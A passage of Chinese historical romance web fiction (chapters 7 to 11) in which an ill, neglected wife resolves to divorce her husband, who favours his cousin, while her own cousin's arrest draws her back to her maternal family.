谢玉恒从屋内出来,随从过来为他披上斗篷,他抬脚往书房去的时候,在门口处又见着咕噜咕噜正冒着热气的药炉,药味散开,院子里都隐隐有苦涩的味道。
蹲在旁边熬药的小丫头见着了谢玉恒低低看来的目光,忙又站了起来开口:"奴婢在熬少夫人风寒吃的药。"
谢玉恒想起那日听见季含漪轻咳,如今已经过了两三日了。
他也听管家说她请了郎中,想是风寒了。
在他印象中,季含漪像是没有生病过,倒是明柔身子一直不好,三天两头就病一场。
他抿了抿唇,没说话,又往前走。
季含漪从院子后头回来的时候,已经不早了,她画画入了神,心里头又没怎么在乎谢玉恒回不回屋,便比从前晚了许久。
回到主屋前,屋子内依旧是空空荡荡的,看着那昏暗的烛火,季含漪就知晓谢玉恒没回来。
倒是门口的丫头跟在季含漪身后小声道:“大爷回了。”
季含漪顿住步子。
那丫头又忙道:“大爷在书房。”
季含漪便又转身往旁边阁楼看去,越过夜色下的的重重黑影,只见阁楼窗户上灯火明亮,窗上映了两个人影。
另外一个身影,她一眼便能认出来。
她又垂了垂眸。
她从来不能进去的书房,李眀柔却是可以随意进去的。
季含漪只是点点头,又转身往屋内进去。
谢玉恒很少会回来睡,今日也不知怎么会在院内的书房里,估计是为了李明柔去的。
她这几日夜里依旧有些咳,想着即便谢玉恒回主屋来,大抵也会走。
他夜里入睡浅,听不得半点声音。
但她倒是想等等谢玉恒,早点与他说了和离的事情。
门口的丫头跟进来又小声道:“刚才给大爷送去了补身汤,大爷又给退回来了,这会儿还热着。”
“少夫人要用么?”
季含漪进了内屋,坐在了软椅上。
她伸手放在炭火上,暖黄在她脸颊上跃动,眉目间不见神色。
季含漪忘了吩咐丫头往后都不用给谢玉恒熬补身汤去了,他之前的确说不喜欢,只是自己心疼他夜里忙碌罢了。
每每被退回来的汤,自己也不忍心浪费,都会自己喝了。
季含漪揉了揉眉心,又抬头看向丫头:“那汤你们喝了吧。”
又道:“往后也不用熬了。”
那丫头一愣,以为自己听错了,看向季含漪,不确定的问:“真的不熬了?”
季含漪点头,让那丫头先退出去,又放松的松了松肩膀。
容春端着药碗过来,有些心疼的道:“少夫人的风寒也不知要多久才好。”
“谁能想病一场就病这么久呢。”
季含漪接过药碗来没说话,苦涩的药汁让她难受的蹙了眉,又觉有些头疼。
只是药还未吃完,一道轻柔关切的声音落在耳边:“表嫂。”
季含漪抬眼间,便见着谢玉恒与李眀柔一起走了进来。
谢玉恒微微走在李眀柔身后,像是在后面无声的护着她。
第7章 夫妻缘分早已尽了
从前看到谢玉恒与李眀柔走在一起时,季含漪心里总会有一种微微的刺痛感。
那种刺痛感是她明明是谢玉恒的妻,却如同局外人一般旁观谢玉恒与李眀柔是如何般配的。
让她每一次都清晰的感受到自己才是多余的那个。
但现在季含漪心静如水。
或许她本也没那么爱他,又或许,她爱的是那个当初认真许诺要娶她的谢玉恒。
手上温热的药碗依旧往上冒着热气,苦涩的味道萦绕鼻端,季含漪低头将药碗里的药喝尽,又将空碗放在了一边。
她还没来得及说话,谢玉恒已经蹙眉朝着她开口,依旧是责怪的声音:“明柔在与你说话。”
季含漪看了谢玉恒一眼,他看他的眼神永远都是冷淡的,在李眀柔在的时候,也总是蹙着眉责怪她。
仿佛她无论做什么,都不得他的心意。
她亦蹙眉看着谢玉恒:“我在吃药。”
谢玉恒一顿。
季含漪却不想再看谢玉恒一眼,又看向李眀柔:“怎么了?”
李眀柔脸上带着笑意,过来坐在季含漪身边,挽着季含漪的手便道:“我过来去恒哥哥屋里找几本书,表嫂不会介意吧。”
“我怕表嫂知晓后又说我不懂事,所以来与表嫂先说一声,表嫂也别与表哥置气。”
“还有我今日说错了话惹表嫂不开心了,表嫂也别与我置气吧。”
那楚楚可怜的声音神态,眼里甚至还隐带了泪光。
谢玉恒冷眼看着季含漪:“明柔来我这这儿寻字帖,你别斤斤计较。”
“再有她即便说错了话,你是她表嫂,需得大度些。”
季含漪有些疲惫,她还一句话没说,就已经被他定了斤斤计较的名头了。
再侧身对上李眀柔的眼睛,那双满是柔光里眼里只有在看着她的时候带会着得意的倨傲,甚至还有种轻视。
季含漪皱眉看着谢玉恒:“斤斤计较?不是你们跑来我这儿的?”
“我可一句话未说,往后还请你说话慎言。”
说完季含漪看着李明柔:“再有,你不过与你表哥借两本字帖,我介意什么?为何特意要来与我说?”
"往后你再去找你表哥,可不必再与我说的。"
“你们两人关系亲近是好事,说明府里和睦,你们多走动我倒是乐意见,我也不想再凭空得一个计较的名声。”
谢玉恒看向季含漪,刚才季含漪眼里的那末厌烦,还有说话的语气,差点让他觉得自己看错了,又蹙了蹙眉。
季含漪从前虽说有些计较小事,但都是顺从温和的,今日的她有些不一样。
从前她但凡遇到与明柔相关的事情,都会针对明柔,可今日她居然说他与明柔走的近是好事。
可她从前总是怪他与明柔走得太近的。
李眀柔抿唇紧紧看着季含漪的眼睛,她这股不在意的平静神色倒是装得挺像。
她满眼含着委屈的看着季含漪:“表嫂在意又何必说这些违心话呢?”
“从前表嫂总说我缠着表哥,我不过与表哥一起长大,万事依赖表哥,也不是表嫂想的那般的。”
“我也知晓表嫂这些日风寒了,特意熬了药膳给表嫂,说对风寒有好处的,我一片心意,表嫂不会不领情吧?”
说着李眀柔让旁边的丫头将一碗鸡汤送来,又亲自端到季含漪面前:“表嫂,这可是我亲手熬的。”
季含漪看着李眀柔手上的那碗鸡汤,又看向李眀柔。
鸡汤带来的热气里,两人目光对视。
这样的场景不是没有上演过。
她刚嫁入谢家的第二天,李眀柔就要来给她敬茶,就在她伸手接茶的那一刻,茶盏落地,滚烫的茶水就落到了李眀柔的手上。
那天谢玉恒焦急的抱着李眀柔离开,也是那天起,她在谢玉恒心里从此落下一个善妒狭隘的名声。
即便是声嘶力竭的解释,他也从不肯相信她没有那样做过。
这个误会,至今无解,是因为他不愿信她的解释。
如今这样的场景再上演,季含漪不管李眀柔会不会再那样做,她都不会接的。
她让身边的容春去接过来。
但李眀柔却一副泫然欲泣的神情看向季含漪:“表嫂难道不喜我到这地步么?”
“这是我下午亲自为表嫂熬的,忙了一下午的。”
谢玉恒皱眉看着季含漪:“这是明柔的心意,你是她表嫂,什么时候你才能如明柔那般识大体。”
季含漪这才抬起眼帘看着谢玉恒,声音如窗外凉薄的冷风:“你不怕我不小心又将汤洒在明柔身上了?”
谢玉恒一顿。
季含漪却不想去管谢玉恒是如何神情,她只是又看向李眀柔,弯腰在她耳边低语:“你当真叫我觉得厌烦恶心,这些下三滥的手段够多了。”
“如今你又叫我觉得你可怜,可怜到只能用这些下作手段了。”
李明柔的脸色一白。
但她很快面上换上伤心的神色起身看向身后的谢玉恒,泫然欲泣,声音很细:“看来表嫂是不愿原谅我了,我就先走了吧。”
谢玉恒拉住李眀柔,一脸严肃的看着季含漪:“含漪,与明柔道歉。”
季含漪看了眼谢玉恒,她没说话,撑着扶手起身,接着转身,背脊笔直的回了内室。
夫妻缘分早已尽了,无也话可说。
更不想费力与谢玉恒非要辨个什么是非对错,或是清白来。
他对别人都是公正的,独独从未公正的对过她。
这样的人不会是她的夫君。
容春看到季含漪转身时还愣了愣,从前这样的时候,少夫人总会先低头的,还没有直接这样转身离开的时候。
大爷对少夫人冷淡起来,冷是真的极冷的。
但她只犹豫了一下,就连忙跟在了季含漪的身后。
谢玉恒冷眉看着季含漪的背影,皱眉更深。
李眀柔委屈的看向谢玉恒:“表嫂生气了,表哥先进去哄表嫂吧,我没有关系的。”
说着她眼里又有了泪光:“我今日不该来的,特意为表嫂熬了鸡汤,表嫂看来也不会吃了。”
谢玉恒这才收回视线看向李眀柔,抿了抿唇,心里升起股复杂心绪,又深吸一口气:“让她冷静下也好。”
又道:“往后你也少来些这里,她毕竟是你表嫂,我的妻子,她病了些日子,情绪难免冲动,你别怪她。”
李明柔瞪大眼睛看向谢玉恒,以为自己听错了。
从前谢哥哥总会为她做主的,今日季含漪就这么走了,谢哥哥居然还为她说话。
她泫然欲泣想开口时,又见谢玉恒先转了身:“走吧,我先送你回去。”
第8章 便结束也罢
屋内的季含漪坐在妆台前,又见着容春欲言又止的神情,笑了下:“我知道你想说什么。”
说着季含漪又看向铜镜中有些病容的人,卸去发上的首饰,她又慢慢的开口:“容春,你什么也不用说,我明白我在做什么。”
她是谢家孙媳,谢玉恒是谢家最出息的长孙,她知晓很多眼睛盯着她,等着挑她的错处。
从前她为着和睦,为着宅院安宁,所以她不敢出错,不敢发泄情绪,处处忍让,尽力维持着与谢玉恒之间的和睦,生怕也拖累了谢玉恒。
但这一眼能望到头的沉重的余生,却叫她愈发觉得厌烦起来。
若是一生都困在这沉闷无力又无趣的枷锁里,她想,便结束也罢。
季含漪知道谢玉恒今夜肯定是不会留在这里的,之前类似的事情并不少,谢玉恒生气的时候,还会让人送女戒女则过来给她。
那时候自己总会伤心,甚至会想是不是真的自己没有做好,但现在想来,就算她做得再好,在他心里也不够好的。
慢条斯理的梳洗完,叫外间的丫头进来问了两句,知晓谢玉恒今夜大抵是不会回的。
也不知多久能碰上一面,与他说和离的事情。
她撑着头,视线落到紧闭的花窗上,呜呜风声打在窗上,一如当年季家刚出事时,紧闭的窗户也隔绝不了满院的慌张。
季含漪闭上眼睛,不想再想了。
这一夜谢玉恒果真没有没回来,第二日早上见着他,他脸色冷清,身上一股疏离,那冷冷淡淡的眼神看谁都是无情的,像是在逼着季含漪先去妥协。
但季含漪只当没瞧见,只低头去做自己的事情。
从前她与谢玉恒之间永远有一条泾渭分明的线,将两人分得两清,她不能越界半步。
谢玉恒整理妥当要走时,从前历来不拖泥带水的动作,今日却为季含漪顿了顿。
季含漪也已经收拾好了,一身素色,发上只有一根翡翠簪,在灯下眉如软烟,身段如青烟翠雾。
她生的娇美妩媚,樱唇雪肤,与她有些沉默的性子并不相似。
谢玉恒静静看着,她正坐在妆台前,手心捏着手炉,妩妩眼眸低垂,正与身边的容春低声说选哪一只簪子。
她今日异常的安静,安静的仿佛不曾在他身边。
习惯了她晨起时总会过来细细说几句话,院子里的事情,还有一些嘘寒问暖的叮嘱。
谢玉恒微微一顿。
他忽发觉他好似也从未好好的与她说过什么体己的话。
其实他昨夜送了明柔后回来过,站在帘子外听到了里头她的咳嗽声,一阵一阵难受的声音,他想,他底到底对季含漪是有一些亏欠的。
昨日三叔撞见他,与他说了这事,说他做得不对,亏欠了含漪。
起先他并未觉得有什么不对的,明柔自小体弱孤苦,他亦承诺了要好好照顾她,含漪既然是自己的妻,也应该与自己一起好好照顾明柔。
但三叔说,他先带走了明柔,那他的妻子会不会害怕。
身为男子,抛下自己发妻先带走别人,也已经违反常伦。
他后来想,一个女子在雪夜里一夜,的确是他没有考虑周全。
他原以为马车很快就能将季含漪接回来,所以没有再过去。
昨夜的事情他可以不计较她的,只要她认了错就好。
且季含漪毕竟是明柔的嫂嫂,也年长明柔,不管到底是为了什么,于情于理,季含漪也该多让让明柔的。
再说他已为明柔选好了人家,等开春便可商议亲事。
她是他的妻,便一生都是,她又何必这般狭隘,况且父亲让他遵守承诺不许纳妾,他本也没纳妾的心思。
但他等了等,见季含漪垂着眼帘像是没有往他这边看一眼的意思,他好不容易等她一回,又不由满目失望,转身掀开帘子往外走。
候在外头的下人给谢玉恒戴风帽系斗篷,季含漪也跟着出来,自顾自的让容春为她披上斗篷,往婆母那儿去问安。
谢玉恒却没忍住将冷淡的眼眸往季含漪那头看去,虽说从前并不是多喜欢季含漪为他做这些事情,但她忽然不做了,还是让他皱了眉。
只是他神色如常,冷清的眉眼依旧疏离,刚才也仅仅只是看了季含漪一眼,便往外走去。
芝兰玉树的身影如青鹤,永远都将背影留给她。
季含漪见着谢玉恒背影,喊了他一声:“大爷。”
谢玉恒听到这声称呼时一顿。
她从未这般叫过她,她总是唤她夫君,她曾说,这样显得两人感情亲近。
她为什么忽然换了称呼。
谢玉恒在昏暗的庭院里顿住,回头看向季含漪。
她站在明亮的门外,脸庞并不清晰,但却能感受到那浅青色斗篷上的容色必然是秀美的。
其实他当初看到季含漪第一眼时也不由惊艳,虽有青涩,但玄发丰艳,眸如寒星,如琼枝玉树,水眄兰情。
但她品性没有如她容貌那般素质雅光,狭隘善妒,总是处处针对明柔。
他是将她当做妻子的,可他不喜她心性,如今更是失望,三年了,她依旧未改。
又听季含漪声音:“你夜里能早些回么?我有些话需与你单独说。”
“是要紧的事情,耽搁不了你多久的。”
谢玉恒淡淡凝眉,又点点头。
谢玉恒走后,季含漪却叹息了声,谢玉恒从未将她的话放在心上过,也不知会不会回,想着要是谢玉恒不回,和离书写好给他也行。
这几日愈发冷了些,季含漪站在廊下,穿堂而过的寒风吹动她领口上的白狐狸毛,一丝一丝扫过她发凉的下巴。
天色依旧漆黑,廊下的灯笼也被吹的摇晃,地上的影子起起伏伏。
季含漪呵气,快要近年关,这时候与谢玉恒说和离的事情,其实算不得是好时机。
但她也的确不会等了。
第9章 写信
上午的时候,郎中来了一趟,把了脉说好了一些,但是咳疾本不易好,还要休养些日。
季含漪只要觉得风寒比之前好些了便好,她也只是夜里咳的会稍厉害些,白日里也没怎么咳。
只是季含漪好些了,那头婆母的病却重了。
季含漪自然要去婆母那里近前伺候,林氏呕吐不止,太医来说寒了胃,开了药方,一屋子里的人都忙忙碌碌的。
二房三房的人都来关心,混着药味和说话声,屋子里有一股燥热的拥挤。
季含漪已被挤到了一边,她稍稍有些眩晕,只觉得喘息难受。
好在这些人不过来稍微关心下,见着林氏虚弱不怎么说话,就又都走了,屋内空下来,就只留了季含漪一人。
季含漪风寒本未好,照顾了一下午,天快暮沉时,撑手在一边小几上,额上冷汗冒出,脸色煞白,身子往下软了下去。
旁边婆子见状忙过来将季含漪扶住,才稳住了倒在地上的身形,又见着季含漪煞白脸色,赶紧道:“夫人这会儿睡了,少夫人也歇歇吧,也快让郎中来瞧瞧。”
恰这时候外头李明柔进来,见着了季含漪撑着小几,就道:“我来照顾姨母便是,嫂嫂先去歇会儿吧。”
季含漪身上冷颤,连提气说一句话便觉得摇摇欲坠,眼前发黑,像是下一刻就要坠下去了。
她紧紧握着身边容春的手,提起力气点点头,这才让容春扶着自己出去。
外头冷风吹到汗湿的额头上,冰凉刺骨的凉,眼前照路的灯笼已在眼前重影,朦朦胧胧,让季含漪恍惚想起小时候父亲在外应酬完,又回来背着自己在夜色里走的场景来。
眼眶中湿润一瞬,又强撑着让眼泪退回去,仰头让冷雪落到脸上,一点一点的冰凉让她渐渐有些清醒。
又靠在容春的身上往回走。
容春看着季含漪的脸色,担忧的问:“少夫人怎么了?”
季含漪闭着眼睛摇头,费力的开口:“回去再说。”
回了院子,季含漪才靠在床榻上,就偏头作呕,屋内的丫头吓坏了,赶紧急急忙忙的又去叫了郎中来。
郎中来瞧了,叹息道:“少夫人是恶寒发热,风寒未好又吹了冷风和劳累,所以头身疼,风寒又重,且本就血虚,再引起五腑不调。”
说着他又细细瞧了季含漪的脸色,又低声道:“少夫人切不能再寒了,必要好好修养些日。”
容春在旁边瞧着心里难受。
今日去大夫人那儿看的人不少,不过也是口头关切几句,但留下亲自照顾的也只有少夫人一个。
少夫人是儿媳,也不能推脱不照顾。
来来去去的,风寒本就未好,又吹了冷风,怎么不风寒加重。
季含漪靠着闭目。
想着一场病未好,又来一场,总之是有些拖累的。
外头容春送了郎中,又吩咐了丫头熬药,快要转身时又见着门房小厮急匆匆的来,又顿住步子问:“何事?”
那小厮手上拿着封信,过来容春面前恭敬道:“顾府送来的信,说要小的务必交到大少夫人手上。”
容春听了这话,又听是顾家,这个天色匆匆送来,怕是分外要紧的了。
容春忙道:“少夫人病了,你将信给我,我送进去。”
容春是季含漪身边从娘家带来的大丫头,自然信得过,那小厮便忙将信递了过去。
靠在床头的季含漪听容春送来顾家的信时微微一顿,伸手将信接了过来。
信上用油蜡封过,她垂眸,将信封打开。
身边的烛台落下明亮的光线,照在信纸的笔迹上。
季含漪看到最后,又默然将信收回在信封里。
站在身边的容春忙问:“是不是少夫人母亲的病……”
季含漪摇头,咳了咳又无声的看向不远处跃动的烛火。
信是她外祖母送来的,锦衣卫东司房的行事校尉抓了她还在国子监读书的表哥顾洵。
今日已经送到了北镇抚司了。
在北镇抚司会受到什么待遇,不用细想。
人人都知晓,北镇抚司的刑狱拷打,没有任何人能够受的住,很快就会招认,死在镇抚司的人也不少。
她知道祖母为什么会这么急的给自己来信,谢家大姑娘谢锦的夫君就是北镇抚司的堂上官镇抚使。
他要是愿意放了洵表哥,本也不是艰难的事情。
季含漪又觉得有些头疼,指尖撑在额头上。
顾洵被行事校尉抓走,不过是因为私下与人讲论遁甲兵法与太乙书数,此事可大可小,只看别人想怎么判。
朝廷一直严查妖书,被牵连的人亦不少。
这事往大了说,或许顾家也要被连累。
但如今的顾家如风雨里的残枝,经不起折腾了。
季含漪有些疲倦的闭上眼睛,谢家大姑娘是大房林氏的长女,历来眼高于顶,高高在上,自己去找她,她不会答应,除非谢玉恒找她开口。
但她知晓,求谢玉恒帮忙,是最没用的。
更何况在谢玉恒心里,自己算不得重要,顾家在他心里也算不得重要,即便自己开口,他多半也不会考虑。
思绪在来回翻找里越来越有些无力,季含漪将手上的信放到枕下,又叫容春扶着自己起来。
容春一顿,忙道:“少夫人要去哪儿?”
季含漪动一下便觉得身上的骨头有些疼,心头沉甸甸堵着一口气,又低声道:“去书房。”
春荣有些着急道:“书房还在后廊房呢,少夫人这时候去定然要吹风,您要什么,奴婢去为您拿来就是。”
季含漪看着容春脸上担忧的神色,又点头:“为我拿纸笔来吧。”
容春忙点头,扶着季含漪重新躺下了才赶紧转身。
纸笔拿来,季含漪身上披着外衣坐在罗汉榻上,身边放了两盆炭火,将月白单衣都染上了暖色。
她提着笔,却迟迟在纸上落不下字。
容春蹲着拨了拨炭火,又将丫头重新放好炭的手炉放进季含漪怀里,又看季含漪笔悬在半空好一会儿也没落下一个字,不由好奇的问:“少夫人要给谁写信。”
季含漪抿抿唇,纤长的浓睫下投下一片阴影,声音很轻:“沈府。”
容春一愣。
她没想到少夫人会忽然给沈府的写信。
京城里的高门贵胄不少,要说最尊贵的人家,唯一只有沈府了。
而沈府里最尊贵的,便是那位年纪轻轻就官至都察院左都御史的沈五爷。
那是皇后的亲弟弟,亲姐夫都是皇上,父亲更是配享太庙的三朝元老,曾经的老首辅,皇上的老师。
沈五爷是老首辅的老来子,老首辅那一脉的唯一后人,当年才刚及弱冠便被皇上封了荣恩侯,成了最年轻的侯爷。
当年沈家在夺嫡里一路支持皇上,皇后娘娘更为皇上挡了箭,如今帝后情深,后宫妃嫔零星,两位皇子都是皇后所出,谁能得罪得起沈家。
她又低头看向季含漪仍旧空白的信纸,忍不住低声问:“少夫人是要写信给沈侯爷么?”
季含漪抿着唇,眼前却浮现出沈肆那双拒人千里之外的冷淡眼睛。
季含漪撑着头,指尖紧了一下,悬在半空的笔终于还是落下了第一个字。
只是信还没有写完,身后传来脚步声,季含漪往身后一看,只见着一脸冷色的谢玉恒走了进来。
他未换朝衣,甚至连身上的斗篷也未解,肩头带着一些湿意,带来一股冷冬的凉意。
第10章 永远都不会好了
季含漪看谢玉恒的模样,便知晓他定然是知晓他母亲病了,连衣服也未来得及换,便先去看了他母亲。
但他这会儿过来,是记得她今早的话么。
季含漪想着,正想让屋内丫头都退下去说和离的事情,只是还未开口,谢玉恒却已经先冷着脸出了声:“我母亲病重,我回来时只见明柔一人在我母亲身边照顾,你身为长媳,你就是这般怠慢婆母的?”
“明柔自来身子不好,你怎么忍心让她一人在那里照顾?”
季含漪一顿,蹙眉看着谢玉恒:“我没有怠慢,我上午知晓婆母病重便……”
季含漪的话被谢玉恒抬高的声音打断,她抬头,看到的是谢玉恒满目失望的眼神:“含漪,谢家没有对不住你的。”
“我更没有对不住你。”
“可你非要让所有人都觉得对不住你,你才满意是不是?”
季含漪怔怔,搭在小案上的纤白手指滑落在腿上,袖口微皱,墨色滴落在信纸上,她开口:“我不明白你的意思。”
谢玉恒眉眼冷疏,失望依旧:“你不过觉得那天夜里我没有先带你回来,你便处处针对明柔,这两日亦与我置气。”
“你有不满的可对我说,何必又要在我母亲病时这般闹?”
“你知不知道,直到这会儿,都是明柔在我母亲身边照顾着。”
季含漪明白了,压着心里涌出来的酸涩,她看着谢玉恒:“你觉得我现在没有在婆母身边照顾,是我在与你赌气?”
谢玉恒失望的看着季含漪:“有没有赌气,你心里明白。”
“只是你这般性情,往后怎么做当家主母?怎么管理好后宅。”
“我虽公务繁忙,但你嫁来,谢家可曾亏待过你一分,我母亲可亏待过你一份?”
“含漪,你这是不孝,是不知恩情。”
外头端方冷清的谢玉恒,人人都说他是天上月,芝兰玉树,莹润如玉,可谁知他最是明白如何用针刺人心的。
季含漪看着站在眼前的人,在他毫不犹豫的答应婚事时,他曾给过她片刻的安稳与温暖。
新婚那些日,他也曾对她露出过柔情,他们也曾有过短暂的举案齐眉。
他们是是怎么一步步走到了如今面目全非的地步的。
她不知道。
或许是在一个又一个误会下,一个又一个他的偏心下。
他们的关系不是被李眀柔挑拨的,是他至始至终眼里只有李眀柔。
她唯苦涩,既如此,和离也好。
或许当年她便不该拿着婚书去找他,她及笄半年,谢家也迟迟不来,其实她那时候就该看清了,竟还在心底存了一丝幻想。
争吵怨怼与指责,早已失去了任何意义,
季含漪深吸一口气,让屋内的丫头都出去,又让容春去将她写好的和离书拿来。
最后她看向谢玉恒:“我不管你怎么想我也罢,我身为谢家儿媳,该我做的,我始终会做好。”
“即便你指责我,我也问心无愧。”
谢玉恒闭了闭眼,眉间蹙起,声音叹息:“含漪,你总说我不向着你,可你让我怎么向着你?"
“明日我会去母亲那里为你解释,你一早也去母亲那里赔罪,这回你太过任性,便扣你月例与抄写佛经,好好修身养性。”
他说完这话,转身便要走。
季含漪忙叫住他:“你先别走,我还有事与你说。”
谢玉恒顿住步子,回头看着季含漪,眼神晦暗:“我知道你要说什么。”
说着他脸色复杂的皱眉,低声道:“含漪,这件事没有商量。”
“我不会帮你。”
要出口的话始终没来得及说出来,季含漪看着那晃动的帘子,还有那头也不回的背影,怔了怔,又低头看向手上卷好的和离书。
她苦笑,她听明白了,看来他知晓了她表哥的事情,他竟以为她会求他表哥的事情。
虽早知他不愿帮,但亲耳听来,还是觉得微微刺心。
披在肩头的粉色外衣落下来,素挽的长发尽数落到了肩头一边,白净的脸颊上带着些疲倦的病色,却在朦胧纱灯下温婉如烟云。
容春忙过来为季含漪将落下的外裳披上,又难受道:“大爷是误会了才说的气话,只要少夫人解释了就好了,大爷一定能听的。”
季含漪撑着额头,将手上和离书递给容春拿去放好,又低低看着洁净信纸上的那一点墨迹,那是一块永远也擦不掉的伤疤,永远都不能恢复如初。
永远都不会好了。
到了第二日一早,季含漪起身时才知谢玉恒早上也没有过来,只是让下人来拿了他的衣物往前院书房去了。
季含漪便明白了,谢玉恒大抵是又会很长时候不会回院子来。
她倒是没觉什么,身边的容春却是一脸的担忧:"要不少夫人早点与大爷解释清楚吧。"
季含漪低头将手里的药喝完,又将空碗放到容春的手上,低声道:“我现在想,其实到了如今,即便他听了我的解释又能如何呢?”
“这回听了,下回就会听了么?”
容春怔然听着季含漪的话,自己竟然揪痛起来。
她眼里含着泪,又沙哑道:“我听说大爷已经给表姑娘相中了人家,明年开春就要定亲了。”
“等表姑娘嫁人了,没有她在中间挑拨,那时候大爷定然就能知道少夫人的好了。”
季含漪叹息一声没说话,看着窗外灯笼下的暗影,又撑着扶手站起来。
谢玉恒一大早就去拜见母亲,林氏靠在床头,见着进来的谢玉恒叹息道:“你早些去上值就是,不用担心我。”
谢玉恒走到母亲面前,抿了抿唇又低声道:“含漪没有照顾好您,我已经说过她了,您别太过怪她。”
林氏抬头看向谢玉恒,无奈道:“我哪儿会怪她什么,她其实照顾我也算尽心的。”
“昨日一直是她在我身边照顾着,万事亲力亲为的,我都看在眼里。”
“下午时我睡了,醒来听我身边的婆子说她后头脸色不好,险些晕了过去,还是下人扶着才没倒。”
“正好明柔过来瞧我,她才离开的。”
说完林氏叹息一声:“她风寒还未好,又来照顾我,倒也是难为她了。”
又问谢玉恒:“你可看过她了,她好些了没有?”
“我听管家说,郎中说她病的厉害,咳了好些天了。”
谢玉恒一顿。
他昨夜回来的时候,只见明柔在这里照顾,那时候母亲还睡着,明柔也没说季含漪先在母亲这里照顾,便以为季含漪没来。
又想起昨夜回院子时见到季含漪脸上的苍白,他的心里微微一顿。
她病了好些天,他一句关切话也未与她说过。
耳边又传来母亲低低的声音:“不管怎么说,我虽也并不太满意她嫁给你,也知晓你也不喜欢她。”
“但当初是你说她拿了婚书来,于情于理应该娶她。”
“且这三年她做的也算好,处处尽心,在外也样样得体。”
“虽说她家落魄,谢家也指望不上她能对你仕途有什么帮助,但既娶了,也就罢了。”
“不说其他的,让她早些生下长子也好。”
“将来若是你当真依旧不喜欢她,你要纳妾,我也不说你什么。”
“但按照规制,嫡妻生下长子,家族才会和睦,也不影响你名声。”
谢玉恒张张唇,半晌又道:“我会信守当初的承诺,不会纳妾。”
第11章 孙女要和离了
谢玉恒的话落下,林氏诧异的看向谢玉恒。
至于这不愿纳妾,她想自己儿子八成还喜欢明柔,两人自小一起长大,自己儿子冷清,唯有对明柔温和,只是可惜了。
她只叹息:“我不管你怎么想的,我只想早些能抱上孙子。”
谢玉恒抿抿唇,走出去时,他又对身边人吩咐了句,送些药补去季含漪那里去。
他知晓昨夜他不该一去便指责她,到底错怪了她,想着晚上早些回去陪她。
谢玉恒也才想起来,这些日他忙碌,已经许久没有与季含漪一起用过晚膳了。
季含漪早上依旧早早去婆母那里问候。
林氏看季含漪脸上的一丝病容,叹口气,拍拍季含漪的手:“你这回病也是厉害,这几日不用来照顾我。”
“我这里有丫头婆子照看着,明柔也常过来陪我说话,你也先好好养好身子。”
“养好身子了,才能早些怀上孩子。"”
季含漪便低声道:“伺候母亲是我应该做的。”
林氏不由看着季含漪眉眼,尽管带着病色,但雪肤红唇,妩媚里有柔软温柔,身姿娇小婀娜,按理来说,这样的容貌,自己儿子总不至于太冷落,也不知道到底怎么回事,迟迟怀不上。
郎中太医也来看了不少回,也没什么问题。
她又捂帕咳了咳,叫季含漪先退下去,别又染了病气。
季含漪从帘内出来,如常与外头候着的婆子问几句林氏的病,说几句吃食上要紧的事便走了出去。
一出去,正好撞上二夫人正进来,二夫人朝季含漪身上看去一眼,笑了笑,面上说几句关心的话就进去了。
季含漪回头看了眼二夫人殷勤的背影,又回头。
她知道婆母病的这些日,府中账目开支,她都先交由了二夫人帮着打理。
在婆母的心里,自己这儿媳始终是外人,宁愿将账目交给二房的人帮忙,也从没想过她。
倒是那些宴请安排,却处处要她出力布置。
这些季含漪只在心里过了一遍,想想也罢了,万事计较没有尽头,总归也与她没多少干系了。
早膳后,季含漪让前门的准备好马车,稍收拾下便往前门去。
上了马车,帘子外的景色开始往后移,眼前走马灯般掠过景色,但季含漪的心却缓缓松了一寸,又握紧了手上的铜鎏金手炉。
顾府前门的小厮见着谢家的马车时都先是一愣,接着又连忙过来为季含漪打帘子,放脚凳。
前门小厮脸上带着喜气道:“表姑娘回来了。”
季含漪笑了笑,点点头,提着裙摆下了马车。
季含漪一路走到正厅那儿的时候,正厅内只有零零星星的几人,都是顾家的小辈们,见着季含漪来,倒是凑过来说话,问起她在谢家的事情。
三姑娘顾云香朝季含漪小声道:“祖母前些日刚病了才好没多久,又担心三哥的事儿,表姐呆会儿去瞧瞧吧。”
这寒天,个个都病了,洵表哥又出了事。
顾云香的声音里有难过,季含漪只是握紧她的手,她来也是与外祖母说洵表哥的事情,再看看外祖母与母亲。
外头顾晏匆匆进来,跨过了门槛便见着坐在椅上的那道烟紫色的秀气人影。
他手心出了汗,刚才急促的步子又忽的缓下来,他视线未敢看她眉眼,唯那耳畔摇曳的翡翠晃在他眼前,他张口,后背生了层薄汗,快忘了自己的声音:“漪表妹。”
季含漪见着顾晏,好些日子没见他,恍然一眼,像是高了不少,俊秀挺拔,看起来也稳重许多,不再是她记忆里那个总是喜欢捉弄她的顾晏。
她抬头笑了笑,轻轻的声音如羽毛落下:“晏表哥,你近来还好?”
顾晏捏紧手,心跳如鼓,又很快的点头:“一切好的。”
只是话落下时,脸颊却热了。
这时候外头又才进来了顾家大夫人与二夫人。
二夫人形容憔悴,眼眶通红,显然还在为儿子的事情担心。
大夫人倒是一如既往的端庄,见着了季含漪来,并没有太高兴的神色,眉眼里不冷不热,朝她道:“怎么来前也不事先给个帖子?”
季含漪站起来含笑:“来的匆忙,未顾及这些,下回不会了。”
说着她走过去含笑看着站在大舅母身边表嫂怀里的小家伙,伸手将手里的一颗瓜仁酥送去那小胖手上,又笑道:“几月不见林哥儿,瞧着又高了些。”
季含漪话落下的时候,一时很静。
没有人接话。
唯有站在谢大夫人身后的顾晏视线落在季含漪娴静的身影上,欲言又止。
他想要出声为季含漪说话,却在视线落在季含漪漂亮眉目下温柔的笑意时,又觉得一股滚热的血涌上去,让他心也跟着快了几分,再跟着眼眶也红了。
喉咙里堵着一团棉花,上不去,更下不来,只能握紧了手。
那些怨怪,难道要记一辈子么。
厅内唯有得到糖的林哥儿咯咯笑声来,三岁多的孩子,什么也不懂。
二夫人往季含漪这边过来,眼里含着血丝,伸手就紧紧握着季含漪的手腕问:“你与玉恒说了浔儿的事情了么?”
“你让他帮帮他,顾家会感激他的。”
“他要多少银子,顾家都愿意出的。”
说着二夫人哽咽哭出声来:“顾家如今成了这样,你两个舅舅被你父亲连累,你二舅舅也走了,现在你表哥又出了事,你就能冷眼旁观么?”
“我的洵儿在国子监哪回考试不是上等的,他明明还有一年多就有好前程了,你看的下去他被北镇抚司的那些人折磨死么?”
尖利的指甲紧紧掐在她手腕上,手腕上的疼冰凉刺骨,周遭一双双眼睛都看着她,全指望着她。
季含漪一句也说不出来,她唯有缓声的安慰着:“表哥会没事的。”
